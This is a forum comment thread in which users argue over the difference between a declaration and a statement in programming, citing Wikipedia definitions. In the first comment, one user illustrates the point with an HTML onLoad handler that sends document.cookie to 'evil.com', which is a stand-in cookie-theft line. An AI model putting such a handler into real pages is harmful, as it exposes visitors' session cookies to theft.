News for hackers. Stuff that matters.
Re:Firefox is now the last major browser that still supports... by tremon on Saturday August 15, 2026 @07:22AM (#49309667)
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">
Re:Firefox is now the last major browser that still supports... by inigyou on Saturday August 15, 2026 @07:52AM (#49309833)
What do you think is the difference between a declaration and a statement?
Re:Firefox is now the last major browser that still supports... by tremon on Sunday August 16, 2026 @07:16AM (#49318955)
I don't need to think, I can just look up their definitions:

https://en.wikipedia.org/wiki/Declaration_(computer_programm...:

> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization

https://en.wikipedia.org/wiki/Statement_(computer_science):

> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out